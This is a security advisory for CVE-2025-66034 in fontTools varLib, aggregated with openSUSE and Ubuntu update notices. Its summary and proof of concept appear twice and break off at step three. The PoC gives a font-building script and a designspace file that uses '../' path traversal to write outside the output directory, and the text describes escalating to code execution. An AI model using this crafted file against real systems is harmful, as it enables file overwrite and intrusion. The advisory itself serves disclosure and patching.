CVE-2025-66034

fontTools is a library for manipulating fonts, written in Python. In versions from 4.33.0 to before 4.60.2, the fonttools varLib (or python3 -m fontTools.varLib) script has an arbitrary file write vulnerability that leads to remote code execution when a malicious .designspace file is processed. The vulnerability affects the main() code path of fontTools.varLib, used by the fonttools varLib CLI and any code that invokes fontTools.varLib.main(). This issue has been patched in version 4.60.2.

Summary

The fonttools varLib (or python3 -m fontTools.varLib) script has an arbitrary file write vulnerability that leads to remote code execution when a malicious .designspace file is processed. The vulnerability affects the main() code path of fontTools.varLib, used by the fonttools varLib CLI and any code that invokes fontTools.varLib.main().

The vulnerability exists due to unsanitised filename handling combined with content injection. Attackers can write files to arbitrary filesystem locations via path traversal sequences, and inject malicious code (like PHP) into the output files through XML injection in labelname elements. When these files are placed in web-accessible locations and executed, this achieves remote code execution without requiring any elevated privileges. Once RCE is obtained, attackers can further escalate privileges to compromise system files (like overwriting /etc/passwd).

Overall this allows attackers to:

• Write font files to arbitrary locations on the filesystem
• Overwrite configuration files
• Corrupt application files and dependencies
• Obtain remote code execution

The attacker controls the file location, extension and contents which could lead to remote code execution as well as enabling a denial of service through file corruption means.

Affected Lines

fontTools/varLib/__init__.py

filename = vf.filename # Unsanitised filename
output_path = os.path.join(output_dir, filename) # Path traversal
vf.save(output_path) # Arbitrary file write

PoC

1. Set up malicious.designspace and respective source-*.ttf files in a directory like /Users/<username>/testing/demo/ (will impact relative file location within malicious.designspace)

setup.py

#!/usr/bin/env python3
import os

from fontTools.fontBuilder import FontBuilder
from fontTools.pens.ttGlyphPen import TTGlyphPen

def create_source_font(filename, weight=400):
    fb = FontBuilder(unitsPerEm=1000, isTTF=True)
    fb.setupGlyphOrder([".notdef"])
    fb.setupCharacterMap({})
    
    pen = TTGlyphPen(None)
    pen.moveTo((0, 0))
    pen.lineTo((500, 0))
    pen.lineTo((500, 500))
    pen.lineTo((0, 500))
    pen.closePath()
    
    fb.setupGlyf({".notdef": pen.glyph()})
    fb.setupHorizontalMetrics({".notdef": (500, 0)})
    fb.setupHorizontalHeader(ascent=800, descent=-200)
    fb.setupOS2(usWeightClass=weight)
    fb.setupPost()
    fb.setupNameTable({"familyName": "Test", "styleName": f"Weight{weight}"})
    fb.save(filename)

if __name__ == '__main__':
    os.chdir(os.path.dirname(os.path.abspath(__file__)))
    create_source_font("source-light.ttf", weight=100)
    create_source_font("source-regular.ttf", weight=400)

malicious.designspace

<?xml version='1.0' encoding='UTF-8'?>
<designspace format="5.0">
  <axes>
    <axis tag="wght" name="Weight" minimum="100" maximum="900" default="400"/>
  </axes>
  
  <sources>
    <source filename="source-light.ttf" name="Light">
      <location>
        <dimension name="Weight" xvalue="100"/>
      </location>
    </source>
    <source filename="source-regular.ttf" name="Regular">
      <location>
        <dimension name="Weight" xvalue="400"/>
      </location>
    </source>
  </sources>
  
  <!-- Filename can be arbitrarily set to any path on the filesystem -->
  <variable-fonts>
    <variable-font name="MaliciousFont" filename="../../tmp/newarbitraryfile.json">
      <axis-subsets>
        <axis-subset name="Weight"/>
      </axis-subsets>
    </variable-font>
  </variable-fonts>
</designspace>

Optional: You can put a file with any material within ../../tmp/newarbitraryfile.json in advance, the contents in the file will be overwritten after running the setup script in the following step.

2. Run the setup.py script to generate source-*.tff files required for the malicious.designspace file.

python3 setup.py

3. Execute the given payload using the vulnerable varLib saving the file into the arbitrary file location of…

Summary

The fonttools varLib (or python3 -m fontTools.varLib) script has an arbitrary file write vulnerability that leads to remote code execution when a malicious .designspace file is processed. The vulnerability affects the main() code path of fontTools.varLib, used by the fonttools varLib CLI and any code that invokes fontTools.varLib.main().

The vulnerability exists due to unsanitised filename handling combined with content injection. Attackers can write files to arbitrary filesystem locations via path traversal sequences, and inject malicious code (like PHP) into the output files through XML injection in labelname elements. When these files are placed in web-accessible locations and executed, this achieves remote code execution without requiring any elevated privileges. Once RCE is obtained, attackers can further escalate privileges to compromise system files (like overwriting /etc/passwd).

Overall this allows attackers to:

• Write font files to arbitrary locations on the filesystem
• Overwrite configuration files
• Corrupt application files and dependencies
• Obtain remote code execution

The attacker controls the file location, extension and contents which could lead to remote code execution as well as enabling a denial of service through file corruption means.

Affected Lines

fontTools/varLib/__init__.py

filename = vf.filename # Unsanitised filename
output_path = os.path.join(output_dir, filename) # Path traversal
vf.save(output_path) # Arbitrary file write

PoC

1. Set up malicious.designspace and respective source-*.ttf files in a directory like /Users/<username>/testing/demo/ (will impact relative file location within malicious.designspace)

setup.py

#!/usr/bin/env python3
import os

from fontTools.fontBuilder import FontBuilder
from fontTools.pens.ttGlyphPen import TTGlyphPen

def create_source_font(filename, weight=400):
    fb = FontBuilder(unitsPerEm=1000, isTTF=True)
    fb.setupGlyphOrder([".notdef"])
    fb.setupCharacterMap({})
    
    pen = TTGlyphPen(None)
    pen.moveTo((0, 0))
    pen.lineTo((500, 0))
    pen.lineTo((500, 500))
    pen.lineTo((0, 500))
    pen.closePath()
    
    fb.setupGlyf({".notdef": pen.glyph()})
    fb.setupHorizontalMetrics({".notdef": (500, 0)})
    fb.setupHorizontalHeader(ascent=800, descent=-200)
    fb.setupOS2(usWeightClass=weight)
    fb.setupPost()
    fb.setupNameTable({"familyName": "Test", "styleName": f"Weight{weight}"})
    fb.save(filename)

if __name__ == '__main__':
    os.chdir(os.path.dirname(os.path.abspath(__file__)))
    create_source_font("source-light.ttf", weight=100)
    create_source_font("source-regular.ttf", weight=400)

malicious.designspace

<?xml version='1.0' encoding='UTF-8'?>
<designspace format="5.0">
  <axes>
    <axis tag="wght" name="Weight" minimum="100" maximum="900" default="400"/>
  </axes>
  
  <sources>
    <source filename="source-light.ttf" name="Light">
      <location>
        <dimension name="Weight" xvalue="100"/>
      </location>
    </source>
    <source filename="source-regular.ttf" name="Regular">
      <location>
        <dimension name="Weight" xvalue="400"/>
      </location>
    </source>
  </sources>
  
  <!-- Filename can be arbitrarily set to any path on the filesystem -->
  <variable-fonts>
    <variable-font name="MaliciousFont" filename="../../tmp/newarbitraryfile.json">
      <axis-subsets>
        <axis-subset name="Weight"/>
      </axis-subsets>
    </variable-font>
  </variable-fonts>
</designspace>

Optional: You can put a file with any material within ../../tmp/newarbitraryfile.json in advance, the contents in the file will be overwritten after running the setup script in the following step.

2. Run the setup.py script to generate source-*.tff files required for the malicious.designspace file.

python3 setup.py

3. Execute the given payload using the vulnerable varLib saving the file into the arbitrary file location of…

fontTools is a library for manipulating fonts, written in Python. In versions from 4.33.0 to before 4.60.2, the fonttools varLib (or python3 -m fontTools.varLib) script has an arbitrary file write vulnerability that leads to remote code execution when a malicious .designspace file is processed. The vulnerability affects the main() code path of fontTools.varLib, used by the fonttools varLib CLI and any code that invokes fontTools.varLib.main(). This issue has been patched in version 4.60.2.

These are all security issues fixed in the python311-FontTools-4.61.1-1.1 package on the GA media of openSUSE Tumbleweed.

This update for python-FontTools fixes the following issues:

• CVE-2025-66034: Fixed arbitrary file write vulnerability that could lead to remote code execution (bsc#1254366).

This update for python-FontTools fixes the following issues:

• CVE-2025-66034: Fixed arbitrary file write vulnerability that could lead to remote code execution (bsc#1254366).

This update for python-FontTools fixes the following issues:

• CVE-2025-66034: Fixed arbitrary file write vulnerability that could lead to remote code execution (bsc#1254366).

It was discovered that the subsetting module of fontTools was vulnerable to an XML External Entity (XEE) attack. An unauthenticated remote attacker could possibly use this issue to include arbitrary files from the file system or make web requests from the host system. This issue only affected Ubuntu 22.04 LTS. (CVE-2023-45139)

It was discovered that fontTools was vulnerable to path traversal attacks. If a user or automated system were tricked into extracting a specially crafted .designspace file, an attacker could possibly use this issue to write arbitrary files outside the target directory, resulting in remote code execution. This issue only affected Ubuntu 24.04 LTS, Ubuntu 25.04 and Ubuntu 25.10. (CVE-2025-66034)